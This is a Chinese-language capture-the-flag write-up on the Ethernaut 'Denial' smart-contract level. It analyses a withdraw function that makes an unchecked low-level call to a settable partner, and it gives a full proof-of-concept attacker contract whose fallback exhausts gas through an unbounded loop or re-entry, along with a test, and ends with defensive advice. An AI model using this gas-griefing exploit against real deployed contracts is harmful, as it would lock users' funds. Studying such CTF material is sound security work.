通过 Ethernaut Denial 了解Denial of Service攻击
on my Github 我通过破解 Ethernaut CTF 学习了智能合约漏洞,对合约进行了安全分析,并提出了相应的安全建议,以帮助其他开发者更好地保护他们的智能合约,鉴于网络上教程较多,我着重分享1~19题里难度四星以上以及20题及以后的题目。
我们将通过DoS攻击来解决这道题,在正式开始之前,我们首先了解什么是智能合约Denial of Service攻击。
恶意用户或者恶意合约利用合约中的漏洞或者设计不当的地方,来耗尽合约的资源,导致合约无法正常执行或者停止响应。
智能合约 DoS 攻击可能包括以下形式:
平台网址:https://ethernaut.zeppelin.solutions/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
这个合约容易理解,就是将合约里的收益的 1% 发放给 partner
,1% 发放给owner
。
在这我们关注 withdraw
函数,
withdraw
将合约里的收益的 1% 发放给 partner
,1% 发放给owner
,并更新 partner
领取收益的记录;call
函数,该函数是solidity
中一个低级函数,它允许我们执行一个外部合约的函数,并没有检查返回值,如果外部合约的函数执行失败,该函数会继续执行下去;// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
partner.call{value:amountToSend}("")
,如果通过对合约进行转账会调用fallback
或者receive
函数来收款,再看,任何人可以通过setWithdrawPartner
函数设置 partner,这是我们可以利用攻击的点;partner.call{value:amountToSend}("")
在对未知合约进行外部调用时没有指定固定的 gas 量,仍然可能会产生 DoS 攻击,call-stack-depth 可以看到,外部调用在发起时最多可以使用当前可用 gas 的 63/64,当剩余 1/64 的 gas 无法满足,withdraw
就会失败。根据以上分析,完整的 PoC 代码如下:
interface IDenial {
function withdraw() external;
function setWithdrawPartner(address _partner) external;
}
contract Solution {
address public contractAddress;
address public owner;
constructor(address _contractAddress) {
contractAddress = _contractAddress;
owner = msg.sender;
}
function exploit() internal {
uint256 sum;
for (uint256 index = 0; index < type(uint256).max; index++) {
sum += 1;
}
}
function attack() public {
IDenial(contractAddress).setWithdrawPartner(address(this));
}
function withdraw() external {
require(owner == msg.sender, "Not owner");
payable(owner).transfer(address(this).balance);
}
fallback() external payable {
exploit();
// contractAddress.call(abi.encodeWithSignature("withdraw()"));
}
}
contract DenialTest is BaseTest {
Solution public solution;
function setUp() public override {
super.setUp();
}
function test_Attack() public {
solution = new Solution(contractAddress);
solution.attack();
uint256 beforeBalance = contractAddress.balance;
contractAddress.call{gas: 10**6 }(abi.encodeWithSignature("withdraw()"));
uint256 afterBalance = contractAddress.balance;
require(beforeBalance == afterBalance, "Not successful");
}
}
Denial(contractAddress).setWithdrawPartner
将攻击合约设置为partner
,攻击合约的fallback
函数将调用Denial(contractAddress).withdraw
,当调用Denial(contractAddress).withdraw
,进入 partner 合约的收款函数后又调用exploit
函数(如下)通过一个庞大的循环将 63/64 gas 耗尽,剩余的 1/64 gas 满足不了后续的操作,withdraw 函数失败。 function exploit() internal {
uint256 sum;
for (uint256 index = 0; index < type(uint256).max; index++) {
sum += 1;
}
}
fallback() external payable {
exploit();
}
fallback
回调Denial(contractAddress).withdraw
函数,从而导致递归调用,重复进入 withdraw 将 63/64 gas 耗尽,剩余的 1/64 gas 满足不了后续的操作,withdraw 函数失败。 fallback() external payable {
contractAddress.call(abi.encodeWithSignature("withdraw()"));
}
Denial(contractAddress).setWithdrawPartner()
,这个至关重要,尤其涉及资金;如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!